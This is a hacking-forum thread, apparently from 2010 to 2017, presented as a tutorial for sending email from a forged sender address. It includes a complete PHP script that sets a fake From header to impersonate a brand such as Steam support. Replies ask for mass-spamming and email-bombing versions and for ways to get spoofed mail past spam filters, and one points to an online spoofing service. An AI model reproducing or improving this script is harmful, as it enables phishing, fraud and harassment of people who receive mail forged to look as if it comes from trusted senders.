Thread: [\[TUT\]Send a fake email from any domain \(i.e spoof the sender address\)\[Code included!\]](#)

-Vector- - October 29, 2010, 4:00 am

Here's a really simple script written in PHP (and should work on any host that supports PHP) that allows you to send an email to anyone from any domain (i.e. fake the sender address). The servers you use will determine the time it takes to reach the target user, and whether or not it ends up in spam.

PHP Code

```
<?php
$to="enter target email address";
$subject="Enter subject";
$msg="Enter message. Use \n for line indentations.\n";
$msg.="This is the second line in the message.\n";
$msg.="This is the third line in the message";
$from="Enter the domain you want to impersonate e.g. support@steam.com";
$header="From: ".$from; //ignore this
$r=mail($to,$subject,$msg,$header);
if ($r==true) {
    echo "Mail successfully sent";
} else {
    echo "Delivery failed";
}
?>
```

I haven't debugged the code, but it should work. Note, this does not have a GUI, that's up to you to make. It can still be functional without a GUI, just that you have to edit the code every time you want to send another message.

If enough interest is shown, I can expand the tutorial and show how to make a mass spammer from this, and create a working example :D

thechampmb1 - October 29, 2010, 4:46 am

omg thx and looking forward to ur mass mailer

-Vector- - October 29, 2010, 5:34 am

No problem, I'll create it when I have time :P

Vafli404 - October 29, 2010, 8:56 am

Old one but nice share.

TOO SHOOORTY

Invincible - October 29, 2010, 8:58 am

it's been around for ages dude.

but thanks anyways.

Xerotic - October 29, 2010, 9:01 am

Been here awhile. Make one with a GUI and email bomber (spoofing as well).

liarbasu - October 29, 2010, 10:12 am

Added : It won't run on most of the free sites as sendmail() function is not on in there.

So you've to find one server that allows.

ibot3 - October 29, 2010, 11:44 am

Thanks, cant wait for the mass mailer tutorial :D

lollod - October 29, 2010, 1:26 pm

thanks, looks nice =D

tofreakingshort

Ethics - October 29, 2010, 1:31 pm

old skool trick... but glad its still working... good share friend.... it will help many ... goodluck

-Vector- - October 29, 2010, 11:31 pm

Lol, I think everyone agrees this will be much more useful with a GUI interface and more options, including a mass bomber :D

I'll go create one then :)

JAEMAEJOR - November 2, 2010, 1:57 am

OR YOU CAN GO TO <http://emkei.cz/> and send it from there and even attach files. ENJOY GUYS!

-Vector- - November 2, 2010, 3:41 am

Wow way to go to advertise your shit on my TUTORIAL thread. In case you haven't noticed, I made this open sourced so other members can develop their own application. LQP GTFO.

JAEMAEJOR - November 4, 2010, 3:51 am

Imao really i was just sayin dont hate im not advertising my shit i get enough hits not to advertise on your wack ass tut. as to you "LQP GTFO" i say hi hater

munnaabhaiu - November 28, 2010, 1:53 pm

this code is not working I tested.

SERIOUSP - December 5, 2010, 7:45 am

code works method is very old skool and always comes up as spam in outlook does anyone know how to send a spoof so it dosent come up as spam in outlook

1992avle - June 20, 2012, 5:09 am

Thnax but how can i use it i mean.

i upload to Free web hosting and its not working =/
Mail successfully sent
but i dont get nothing

Mr Storm - June 20, 2012, 1:44 pm

I alredy knew this. But this code looks simple, I would give it a difficult level of skiddie/10

ndemon - November 10, 2016, 9:36 pm

Hey guys,

I got bored, so I attempted at making a GUI for this.

Sorry for posting on an old thread but I am posting for reference in case anyone finds this thread.

Haven't tested, but it should work. ?

thanks

Krypt0 - February 14, 2017, 12:59 pm

Thank you it works well :)

dante196 - February 15, 2017, 7:24 am

thank you very much for sharing this. very useful !

nasir2000 - *March 26, 2017, 9:05 pm*

thanks for the shear ..its quite appreciated

Greg8Tacos - *March 28, 2017, 1:15 pm*

Cool, I see where this might be helpful

unkn0wn1 - *March 29, 2017, 2:28 am*

so simple... do not know if it is actually considered as "tutorial"
